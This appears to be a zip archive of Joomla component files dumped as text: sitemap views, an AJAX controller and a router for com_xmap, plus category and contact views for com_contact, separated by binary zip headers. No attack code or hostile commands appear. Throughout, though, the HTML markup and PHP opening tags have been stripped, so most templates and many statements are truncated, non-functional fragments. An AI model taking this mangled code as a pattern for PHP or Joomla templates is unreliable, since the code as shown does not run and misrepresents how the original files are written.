          • '; if( !isset($node->browserNav) ) $node->browserNav = 0; if ($node->browserNav != 3) { $link = JRoute::_($node->link, true, @$node->secure); } $node->name = htmlspecialchars($node->name); switch( $node->browserNav ) { case 1: // open url in new window $ext_image = ''; if ( $this->sitemap->params->get('exlinks') ) { $ext_image = ' ' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . ''; } $out .= ''. $node->name . $ext_image .''; break; case 2: // open url in javascript popup window $ext_image = ''; if( $this->sitemap->params->get('exlinks') ) { $ext_image = ' ' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . ''; } $out .= '". $node->name . $ext_image.""; break; case 3: // no link $out .= ''. $node->name .''; break; default: // open url in parent window $out .= ''. $node->name .''; break; } $this->_closeItem = "
          • \n"; $this->_childs[$this->level]++; echo $out; if ($this->canEdit) { if ( $this->isExcluded($node->id,$node->uid) ) { $img = 'v'; $class= 'xmapexclon'; } else { $img = 'x'; $class= 'xmapexcloff'; } echo ' '.$img.''; } $this->count++; $this->_last_child[$this->level] = $node->uid; return TRUE; } /** * Moves sitemap level up or down */ function changeLevel( $level ) { if ( $level > 0 ) { # We do not print start ul here to avoid empty list, it's printed at the first child $this->level += $level; $this->_childs[$this->level]=0; $this->_openList = "\n
              level."\">\n"; $this->_closeItem = ''; // If we are moving up, then lets clean the children of this level // because for sure this is a new set of links if ( empty ($this->_last_child[$this->level-1]) || empty ($this->_parent_children[$this->level]['parent']) || $this->_parent_children[$this->level]['parent'] != $this->_last_child[$this->level-1] ) { $this->_parent_children[$this->level]=array(); $this->_parent_children[$this->level]['parent'] = @$this->_last_child[$this->level-1]; } } else { if ($this->_childs[$this->level]){ echo $this->_closeItem."
            \n"; } $this->_closeItem =''; $this->_openList = ''; $this->level += $level; } } function startMenu(&$menu) { if( $this->sitemap->params->get('columns') > 1 ) // use columns echo '
            '; if( $this->sitemap->params->get('show_menutitle') ) // show menu titles echo ''; } function endMenu(&$menu) { $sitemap=&$this->sitemap; $this->_closeItem=''; if( $sitemap->params->get('columns')> 1 ) { echo "
            \n"; } } } PKGy>\)"com_xmap/views/html/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\6#com_xmap/views/html/tmpl/index.htmlnuW+APKGy>\@ d*com_xmap/views/html/tmpl/default_items.phpnuW+Astate->get('params'); // Use the class defined in default_class.php to print the sitemap $this->displayer->printSitemap();PKGy>\L4w$com_xmap/views/html/tmpl/default.xmlnuW+A
            PKGy>\Sf $com_xmap/views/html/tmpl/default.phpnuW+Aitem->params; if ($this->displayer->canEdit) { $live_site = JURI::root(); JHTML::_('behavior.framework', true); $ajaxurl = "{$live_site}index.php?option=com_xmap&format=json&task=ajax.editElement&action=toggleElement&".JSession::getFormToken().'=1'; $css = '.xmapexcl img{ border:0px; }'."\n"; $css .= '.xmapexcloff { text-decoration:line-through; }'; //$css .= "\n.".$this->item->classname .' li {float:left;}'; $js = " window.addEvent('domready',function (){ $$('.xmapexcl').each(function(el){ el.onclick = function(){ if (this && this.rel) { options = JSON.decode(this.rel); this.onComplete = checkExcludeResult var myAjax = new Request.JSON({ url:'{$ajaxurl}', onSuccess: checkExcludeResult.bind(this) }).get({id:{$this->item->id},uid:options.uid,itemid:options.itemid}); } return false; }; }); }); checkExcludeResult = function (response) { //this.set('class','xmapexcl xmapexcloff'); var imgs = this.getElementsByTagName('img'); if (response.result == 'OK') { var state = response.state; if (state==0) { imgs[0].src='{$live_site}/components/com_xmap/assets/images/unpublished.png'; } else { imgs[0].src='{$live_site}/components/com_xmap/assets/images/tick.png'; } } else { alert('The element couldn\\'t be published or upublished!'); } }"; $doc = JFactory::getDocument(); $doc->addStyleDeclaration ($css); $doc->addScriptDeclaration ($js); } ?>
            get('show_page_heading', 1) && $params->get('page_heading') != '') : ?>

            escape($params->get('page_heading')); ?>

            get('access-edit') || $params->get('show_title') || $params->get('show_print_icon') || $params->get('show_email_icon')) : ?>
              print) : ?> get('show_print_icon')) : ?>
            • item, $params); ?>
            • get('show_email_icon')) : ?>
            • item, $params); ?>
            • item, $params); ?>
            get('showintro', 1) ) : ?> item->introtext; ?> loadTemplate('items'); ?>  
            PKGy>\6com_xmap/views/xml/index.htmlnuW+APKGy>\)!com_xmap/views/xml/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\ QcLcL'com_xmap/views/xml/tmpl/default_xsl.phpnuW+AcanEdit && JRequest::getBool('filter_showtitle', 0); $showExcluded = $this->canEdit && JRequest::getBool('filter_showexcluded', 0); echo '',"\n"; ?> <?php echo JText::_('COM_XMAP_XML_FILE'); ?> isImages): ?> canEdit): ?> isImages): ?> canEdit): ?>
            canEdit): ?> Images
            -
            PKGy>\6"com_xmap/views/xml/tmpl/index.htmlnuW+APKGy>\QGYY)com_xmap/views/xml/tmpl/default_class.phpnuW+Auids = array(); $this->defaultLanguage = strtolower(JFactory::getLanguage()->getTag()); if (preg_match('/^([a-z]+)-.*/',$this->defaultLanguage,$matches) && !in_array($this->defaultLanguage, array(' zh-cn',' zh-tw')) ) { $this->defaultLanguage = $matches[1]; } $this->showTitle = JRequest::getBool('filter_showtitle', 0); $this->showExcluded = JRequest::getBool('filter_showexcluded', 0); $db = JFactory::getDbo(); $this->nullDate = $db->getNullDate(); } /** * Prints an XML node for the sitemap * * @param stdclass $node */ function printNode($node) { $node->isExcluded = false; if ($this->isExcluded($node->id,$node->uid)) { if (!$this->showExcluded || !$this->canEdit) { return false; } $node->isExcluded = true; } if ($this->isNews && (!isset($node->newsItem) || !$node->newsItem)) { return true; } // For images sitemaps only display pages with images if ($this->isImages && (!isset($node->images) || !count($node->images))) { return true; } // Get the item's URL $link = JRoute::_($node->link, true, @$node->secure==0? -1: $node->secure); if (!isset($node->browserNav)) $node->browserNav = 0; if ($node->browserNav != 3 // ignore "no link" && empty($this->_links[$link])) { // ignore links that have been added already $this->count++; $this->_links[$link] = 1; if (!isset($node->priority)) $node->priority = "0.5"; if (!isset($node->changefreq)) $node->changefreq = 'daily'; // Get the chancefrequency and priority for this item $changefreq = $this->getProperty('changefreq', $node->changefreq, $node->id, 'xml', $node->uid); $priority = $this->getProperty('priority', $node->priority, $node->id, 'xml', $node->uid); echo '' . "\n"; echo '', $link, '' . "\n"; if ($this->canEdit) { if ($this->showTitle) { echo '<![CDATA['.$node->name.']]>' . "\n"; } if ($this->showExcluded) { echo '',($node->isExcluded? 'excluded':''),''; } echo '', $node->uid, '' . "\n"; echo '', $node->id, '' . "\n"; } $modified = (isset($node->modified) && $node->modified != FALSE && $node->modified != $this->nullDate && $node->modified != -1) ? $node->modified : NULL; if (!$modified && $this->isNews) { $modified = time(); } if ($modified && !is_numeric($modified)){ $date = new JDate($modified); $modified = $date->toUnix(); } if ($modified) { $modified = gmdate('Y-m-d\TH:i:s\Z', $modified); } // If this is not a news sitemap if (!$this->isNews) { if ($this->isImages) { foreach ($node->images as $image) { echo '', "\n"; echo '', $image->src, '', "\n"; if ($image->title) { $image->title = str_replace('&', '&', html_entity_decode($image->title, ENT_NOQUOTES, 'UTF-8')); echo '', $image->title, '', "\n"; } else { echo ''; } if (isset($image->license) && $image->license) { echo '',str_replace('&', '&',html_entity_decode($image->license, ENT_NOQUOTES, 'UTF-8')),'',"\n"; } echo '', "\n"; } } else { if ($modified){ echo '', $modified, '' . "\n"; } echo '', $changefreq, '' . "\n"; echo '', $priority, '' . "\n"; } } else { if (isset($node->keywords)) { $keywords = htmlspecialchars($node->keywords); } else { $keywords = ''; } if (!isset($node->language) || $node->language == '*') { $node->language = $this->defaultLanguage; } echo "\n"; echo ''."\n"; echo ' '.(htmlspecialchars($this->sitemap->params->get('news_publication_name'))).''."\n"; echo ' '.$node->language.''."\n"; echo ''."\n"; echo '', $modified, '' . "\n"; echo 'name.']]>' . "\n"; if ($keywords) { echo '', $keywords, '' . "\n"; } echo "\n"; } echo '', "\n"; } else { return empty($this->_links[$link]); } return true; } /** * * @param string $property The property that is needed * @param string $value The default value if the property is not found * @param int $Itemid The menu item id * @param string $view (xml / html) * @param int $uid Unique id of the element on the sitemap * (the id asigned by the extension) * @return string */ function getProperty($property, $value, $Itemid, $view, $uid) { if (isset($this->jview->sitemapItems[$view][$Itemid][$uid][$property])) { return $this->jview->sitemapItems[$view][$Itemid][$uid][$property]; } return $value; } /** * Called on every level change * * @param int $level * @return boolean */ function changeLevel($level) { return true; } /** * Function called before displaying the menu * * @param stdclass $menu The menu node item * @return boolean */ function startMenu($menu) { return true; } /** * Function called after displaying the menu * * @param stdclass $menu The menu node item * @return boolean */ function endMenu($menu) { return true; } } PKGy>\>_)com_xmap/views/xml/tmpl/default_items.phpnuW+Astate->get('params'); // Use the class defined in default_class.php to print the sitemap $this->displayer->printSitemap();PKGy>\㱊kk#com_xmap/views/xml/tmpl/default.phpnuW+Aitem->params; $live_site = substr_replace(JURI::root(), "", -1, 1); header('Content-type: text/xml; charset=utf-8'); echo '',"\n"; if (($this->item->params->get('beautify_xml', 1) == 1) && !$this->displayer->isNews) { $params = '&filter_showtitle='.JRequest::getBool('filter_showtitle',0); $params .= '&filter_showexcluded='.JRequest::getBool('filter_showexcluded',0); $params .= (JRequest::getCmd('lang')?'&lang='.JRequest::getCmd('lang'):''); echo 'item->id.($this->isImages?'&images=1':'').$params.'"?>'."\n"; } ?> displayer->isImages? ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"':''); ?>displayer->isNews? ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"':''); ?>> loadTemplate('items'); ?> PKGy>\k com_xmap/views/xml/view.html.phpnuW+Auser = JFactory::getUser(); $isNewsSitemap = JRequest::getInt('news',0); $this->isImages = JRequest::getInt('images',0); $model = $this->getModel('Sitemap'); $this->setModel($model); // force to not display errors on XML sitemap @ini_set('display_errors', 0); # Increase memory and max execution time for XML sitemaps to make it work # with very large sites @ini_set('memory_limit','512M'); @ini_set('max_execution_time',300); $layout = $this->getLayout(); $this->item = $this->get('Item'); $this->state = $this->get('State'); $this->canEdit = JFactory::getUser()->authorise('core.admin', 'com_xmap'); // For now, news sitemaps are not editable $this->canEdit = $this->canEdit && !$isNewsSitemap; if ($layout == 'xsl') { return $this->displayXSL($layout); } // Get model data. $this->items = $this->get('Items'); $this->sitemapItems = $this->get('SitemapItems'); $this->extensions = $this->get('Extensions'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // Add router helpers. $this->item->slug = $this->item->alias ? ($this->item->id . ':' . $this->item->alias) : $this->item->id; $this->item->rlink = JRoute::_('index.php?option=com_xmap&view=xml&id=' . $this->item->slug); // Create a shortcut to the paramemters. $params = &$this->state->params; $offset = $this->state->get('page.offset'); if (!$this->item->params->get('access-view')) { if ($this->user->get('guest')) { // Redirect to login $uri = JFactory::getURI(); $app->redirect( 'index.php?option=com_users&view=login&return=' . base64_encode($uri), JText::_('Xmap_Error_Login_to_view_sitemap') ); return; } else { JError::raiseWarning(403, JText::_('Xmap_Error_Not_auth')); return; } } // Override the layout. if ($layout = $params->get('layout')) { $this->setLayout($layout); } // Load the class used to display the sitemap $this->loadTemplate('class'); $this->displayer = new XmapXmlDisplayer($params, $this->item); $this->displayer->setJView($this); $this->displayer->isNews = $isNewsSitemap; $this->displayer->isImages = $this->isImages; $this->displayer->canEdit = $this->canEdit; $doCompression = ($this->item->params->get('compress_xml') && !ini_get('zlib.output_compression') && ini_get('output_handler') != 'ob_gzhandler'); $this->endAllBuffering(); if ($doCompression) { ob_start(); } parent::display($tpl); $model = $this->getModel(); $model->hit($this->displayer->getCount()); if ($doCompression) { $data = ob_get_contents(); JResponse::setBody($data); @ob_end_clean(); echo JResponse::toString(true); } $this->recreateBuffering(); exit; } function displayXSL() { $this->setLayout('default'); $this->endAllBuffering(); parent::display('xsl'); $this->recreateBuffering(); exit; } private function endAllBuffering() { $this->_obLevel = ob_get_level(); while (ob_get_level()) { @ob_end_clean(); } } private function recreateBuffering() { while($this->_obLevel--) { ob_start(); } } } PKGy>\E ʵcom_xmap/views/xml/metadata.xmlnuW+A PKGy>\)com_xmap/views/xml/.htaccessnuW+A Order allow,deny Deny from all PKGy>\(   "com_xmap/controllers/ajax.json.phpnuW+Aget('id'))); $result = new JRegistry('_default'); $sitemapId = JREquest::getInt('id'); if (!$user->authorise('core.edit', 'com_xmap.sitemap.'.$sitemapId)) { $result->setValue('result', 'KO'); $result->setValue('message', 'You are not authorized to perform this action!'); } else { $model = $this->getModel('sitemap'); if ($model->getItem()) { $action = JRequest::getCmd('action', ''); $uid = JRequest::getCmd('uid', ''); $itemid = JRequest::getInt('itemid', ''); switch ($action) { case 'toggleElement': if ($uid && $itemid) { $state = $model->toggleItem($uid, $itemid); } break; case 'changeProperty': $uid = JRequest::getCmd('uid', ''); $property = JRequest::getCmd('property', ''); $value = JRequest::getCmd('value', ''); if ($uid && $itemid && $uid && $property) { $state = $model->chageItemPropery($uid, $itemid, 'xml', $property, $value); } break; } } $result->set('result', 'OK'); $result->set('state', $state); $result->set('message', ''); } echo $result->toString(); } }PKGy>\lB7com_xmap/router.phpnuW+A (int) $id ); //Create the link $link = 'index.php?option=com_xmap&view='.$view.'&id='. $id; if ($itemId = self::_findItemId($needles)) { $link .= '&Itemid='.$itemId; }; return $link; } protected static function _findItemId($needles) { // Prepare the reverse lookup array. if (self::$lookup === null) { self::$lookup = array(); $component = &JComponentHelper::getComponent('com_xmap'); $menus = &JApplication::getMenu('site', array()); $items = $menus->getItems('component_id', $component->id); foreach ($items as &$item) { if (isset($item->query) && isset($item->query['view'])) { $view = $item->query['view']; if (!isset(self::$lookup[$view])) { self::$lookup[$view] = array(); } if (isset($item->query['id'])) { self::$lookup[$view][$item->query['id']] = $item->id; } } } } $match = null; foreach ($needles as $view => $id) { if (isset(self::$lookup[$view])) { if (isset(self::$lookup[$view][$id])) { return self::$lookup[$view][$id]; } } } return null; } } /** * Build the route for the com_content component * * @param array An array of URL arguments * * @return array The URL arguments to use to assemble the subsequent URL. */ function XmapBuildRoute(&$query) { $segments = array(); // get a menu item based on Itemid or currently active $app = JFactory::getApplication(); $menu = $app->getMenu(); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $mView = (empty($menuItem->query['view'])) ? null : $menuItem->query['view']; $mId = (empty($menuItem->query['id'])) ? null : $menuItem->query['id']; if ( !empty($query['Itemid']) ) { unset($query['view']); unset($query['id']); } else { if ( !empty($query['view']) ) { $segments[] = $query['view']; } } if (isset($query['id'])) { if (empty($query['Itemid'])) { $segments[] = $query['id']; } else { if (isset($menuItem->query['id'])) { if ($query['id'] != $mId) { $segments[] = $query['id']; } } else { $segments[] = $query['id']; } } unset($query['id']); }; if (isset($query['layout'])) { if (!empty($query['Itemid']) && isset($menuItem->query['layout'])) { if ($query['layout'] == $menuItem->query['layout']) { unset($query['layout']); } } else { if ($query['layout'] == 'default') { unset($query['layout']); } } }; return $segments; } /** * Parse the segments of a URL. * * @param array The segments of the URL to parse. * * @return array The URL attributes to be used by the application. */ function XmapParseRoute($segments) { $vars = array(); //G et the active menu item. $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getActive(); // Count route segments $count = count($segments); // Standard routing for articles. if (!isset($item)) { $vars['view'] = $segments[0]; $vars['id'] = $segments[$count - 1]; return $vars; } $vars['view'] = $item->query['view']; $vars['id'] = $item->query['id']; return $vars; } PKGy>\}  *com_contact/views/categories/view.html.phpnuW+Aget('State'); $items = $this->get('Items'); $parent = $this->get('Parent'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } if ($items === false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } if ($parent == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } $params = &$state->params; $items = array($parent->id => $items); //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->maxLevelcat = $params->get('maxLevelcat', -1); $this->assignRef('params', $params); $this->assignRef('parent', $parent); $this->assignRef('items', $items); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if($menu) { $this->params->def('page_heading', $this->params->def('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_CONTACT_DEFAULT_PAGE_TITLE')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\)&com_contact/views/categories/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V'com_contact/views/categories/index.htmlnuW+A PKGy>\p-com_contact/views/categories/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('show_base_description')) : ?> params->get('categories_description')) : ?>
            params->get('categories_description'), '', 'com_contact.categories'); ?>
            parent->description) : ?>
            parent->description, '', 'com_contact.categories'); ?>
            loadTemplate('items'); ?>
            PKGy>\FF-com_contact/views/categories/tmpl/default.xmlnuW+A
            PKGy>\[X[3com_contact/views/categories/tmpl/default_items.phpnuW+Aitems[$this->parent->id]) > 0 && $this->maxLevelcat != 0) : ?>
              items[$this->parent->id] as $id => $item) : ?> params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : if(!isset($this->items[$this->parent->id][$id + 1])) { $class = ' class="last"'; } ?> > escape($item->title); ?> params->get('show_subcat_desc_cat') == 1) :?> description) : ?>
              description, '', 'com_contact.categories'); ?>
              params->get('show_cat_items_cat') == 1) :?>
              numitems; ?>
              getChildren()) > 0) : $this->items[$item->id] = $item->getChildren(); $this->parent = $item; $this->maxLevelcat--; echo $this->loadTemplate('items'); $this->parent = $item->getParent(); $this->maxLevelcat++; endif; ?>
            PKGy>\)+com_contact/views/categories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V,com_contact/views/categories/tmpl/index.htmlnuW+A PKGy>\Iݲ(com_contact/views/category/view.feed.phpnuW+Aget('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $params = $app->getParams(); $feedEmail = $app->getCfg('feed_email', 'author'); $siteEmail = $app->getCfg('mailfrom'); $fromName = $app->getCfg('fromname'); JRequest::setVar('limit', $app->getCfg('feed_limit')); // Get some data from the models $category = $this->get('Category'); $rows = $this->get('Items'); $doc->link = JRoute::_(ContactHelperRoute::getCategoryRoute($category->id)); foreach ($rows as $row) { // strip html from feed item title $title = $this->escape($row->name); $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8'); // Compute the contact slug $row->slug = $row->alias ? ($row->id . ':' . $row->alias) : $row->id; // url link to article $link = JRoute::_(ContactHelperRoute::getContactRoute($row->slug, $row->catid)); $description = $row->address; $author = $row->created_by_alias ? $row->created_by_alias : $row->author; @$date = ($row->created ? date('r', strtotime($row->created)) : ''); // load individual item creator class $item = new JFeedItem(); $item->title = $title; $item->link = $link; $item->description = $description; $item->date = $date; $item->category = $category->title; $item->author = $author; // We don't have the author email so we have to use site in both cases. if ($feedEmail == 'site') { $item->authorEmail = $siteEmail; } elseif($feedEmail == 'author') { $item->authorEmail = $row->author_email; } // loads item info into rss array $doc->addItem($item); } } } PKGy>\)$com_contact/views/category/.htaccessnuW+A Order allow,deny Deny from all PKGy>\R ee1com_contact/views/category/tmpl/default_items.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?> items)) : ?>

            params->get('show_pagination_limit')) : ?>
              pagination->getLimitBox(); ?>
            params->get('show_headings')) : ?> params->get('show_position_headings')) : ?> params->get('show_email_headings')) : ?> params->get('show_telephone_headings')) : ?> params->get('show_mobile_headings')) : ?> params->get('show_fax_headings')) : ?> params->get('show_suburb_headings')) : ?> params->get('show_state_headings')) : ?> params->get('show_country_headings')) : ?> items as $i => $item) : ?> items[$i]->published == 0) : ?> params->get('show_position_headings')) : ?> params->get('show_email_headings')) : ?> params->get('show_telephone_headings')) : ?> params->get('show_mobile_headings')) : ?> params->get('show_fax_headings')) : ?> params->get('show_suburb_headings')) : ?> params->get('show_state_headings')) : ?> params->get('show_country_headings')) : ?>
            name; ?> con_position; ?> telephone; ?> mobile; ?> fax; ?> suburb; ?> state; ?> country; ?>
            params->get('show_pagination')) : ?>
            PKGy>\>rArA+com_contact/views/category/tmpl/default.xmlnuW+A
            PKGy>\.l+com_contact/views/category/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('show_category_title', 1)) : ?>

            category->title, '', 'com_contact.category'); ?>

            params->def('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
            params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> params->get('show_description') && $this->category->description) : ?> category->description, '', 'com_contact.category'); ?>
            loadTemplate('items'); ?> children[$this->category->id])&& $this->maxLevel != 0) : ?>

            loadTemplate('children'); ?>
            PKGy>\V*com_contact/views/category/tmpl/index.htmlnuW+A PKGy>\(4com_contact/views/category/tmpl/default_children.phpnuW+Achildren[$this->category->id]) > 0 && $this->maxLevel != 0) : ?>
              children[$this->category->id] as $id => $child) : ?> params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : if(!isset($this->children[$this->category->id][$id + 1])) { $class = ' class="last"'; } ?> > escape($child->title); ?> params->get('show_subcat_desc') == 1) :?> description) : ?>
              description, '', 'com_contact.category'); ?>
              params->get('show_cat_items') == 1) :?>
              numitems; ?>
              getChildren()) > 0 ) : $this->children[$child->id] = $child->getChildren(); $this->category = $child; $this->maxLevel--; echo $this->loadTemplate('children'); $this->category = $child->getParent(); $this->maxLevel++; endif; ?>
            \))com_contact/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\z(com_contact/views/category/view.html.phpnuW+AgetParams(); // Get some data from the models $state = $this->get('State'); $items = $this->get('Items'); $category = $this->get('Category'); $children = $this->get('Children'); $parent = $this->get('Parent'); $pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } if ($category == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } if ($parent == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } // Check whether category access level allows access. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); if (!in_array($category->access, $groups)) { return JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } // Prepare the data. // Compute the contact slug. for ($i = 0, $n = count($items); $i < $n; $i++) { $item = &$items[$i]; $item->slug = $item->alias ? ($item->id.':'.$item->alias) : $item->id; $temp = new JRegistry(); $temp->loadString($item->params); $item->params = clone($params); $item->params->merge($temp); if ($item->params->get('show_email', 0) == 1) { $item->email_to = trim($item->email_to); if (!empty($item->email_to) && JMailHelper::isEmailAddress($item->email_to)) { $item->email_to = JHtml::_('email.cloak', $item->email_to); } else { $item->email_to = ''; } } } // Setup the category parameters. $cparams = $category->getParams(); $category->params = clone($params); $category->params->merge($cparams); $children = array($category->id => $children); $maxLevel = $params->get('maxLevel', -1); $this->assignRef('maxLevel', $maxLevel); $this->assignRef('state', $state); $this->assignRef('items', $items); $this->assignRef('category', $category); $this->assignRef('children', $children); $this->assignRef('params', $params); $this->assignRef('parent', $parent); $this->assignRef('pagination', $pagination); //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); // Check for layout override only if this is not the active menu item // If it is the active menu item, then the view and category id will match $active = $app->getMenu()->getActive(); if ((!$active) || ((strpos($active->link, 'view=category') === false) || (strpos($active->link, '&id=' . (string) $this->category->id) === false))) { if ($layout = $category->params->get('category_layout')) { $this->setLayout($layout); } } elseif (isset($active->query['layout'])) { // We need to set the layout in case this is an alternative menu item (with an alternative layout) $this->setLayout($active->query['layout']); } $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_CONTACT_DEFAULT_PAGE_TITLE')); } $id = (int) @$menu->query['id']; if ($menu && ($menu->query['option'] != 'com_contact' || $menu->query['view'] == 'contact' || $id != $this->category->id)) { $path = array(array('title' => $this->category->title, 'link' => '')); $category = $this->category->getParent(); while (($menu->query['option'] != 'com_contact' || $menu->query['view'] == 'contact' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => ContactHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $pathway->addItem($item['title'], $item['link']); } } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->category->metadesc) { $this->document->setDescription($this->category->metadesc); } elseif (!$this->category->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->category->metakey) { $this->document->setMetadata('keywords', $this->category->metakey); } elseif (!$this->category->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $this->category->getMetadata()->get('author')); } $mdata = $this->category->getMetadata()->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } // Add alternative feed link if ($this->params->get('show_feed_link', 1) == 1) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $this->document->addHeadLink(JRoute::_($link.'&type=rss'), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $this->document->addHeadLink(JRoute::_($link.'&type=atom'), 'alternate', 'rel', $attribs); } } } PKGy>\ײ'com_contact/views/category/metadata.xmlnuW+A PKGy>\V%com_contact/views/category/index.htmlnuW+A PKGy>\[,w&com_contact/views/contact/metadata.xmlnuW+A PKGy>\` AA2com_contact/views/contact/tmpl/default_profile.phpnuW+A item->profile->getFieldset('profile'); ?>
            value) : echo '
            '.$profile->label.'
            '; $profile->text = htmlspecialchars($profile->value, ENT_COMPAT, 'UTF-8'); switch ($profile->id) : case "profile_website": $v_http = substr ($profile->profile_value, 0, 4); if ($v_http == "http") : echo '
            '.$profile->text.'
            '; else : echo '
            '.$profile->text.'
            '; endif; break; default: echo '
            '.$profile->text.'
            '; break; endswitch; endif; endforeach; ?>
            PKGy>\嫺''*com_contact/views/contact/tmpl/default.xmlnuW+A
            PKGy>\xҧ*com_contact/views/contact/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            contact->name && $this->params->get('show_name')) : ?>

            contact->name; ?>

            params->get('show_contact_category') == 'show_no_link') : ?>

            contact->category_title; ?>

            params->get('show_contact_category') == 'show_with_link') : ?> contact->catid);?>

            escape($this->contact->category_title); ?>

            params->get('show_contact_list') && count($this->contacts) > 1) : ?>
            contacts, 'id', 'class="inputbox" onchange="document.location.href = this.value"', 'link', 'name', $this->contact->link);?>
            params->get('presentation_style')!='plain'){?> params->get('presentation_style').'.start', 'contact-slider'); ?> params->get('presentation_style').'.panel', JText::_('COM_CONTACT_DETAILS'), 'basic-details'); } ?> params->get('presentation_style')=='plain'):?> '. JText::_('COM_CONTACT_DETAILS').''; ?> contact->image && $this->params->get('show_image')) : ?>
            contact->image, JText::_('COM_CONTACT_IMAGE_DETAILS'), array('align' => 'middle')); ?>
            contact->con_position && $this->params->get('show_position')) : ?>

            contact->con_position; ?>

            loadTemplate('address'); ?> params->get('allow_vcard')) : ?>

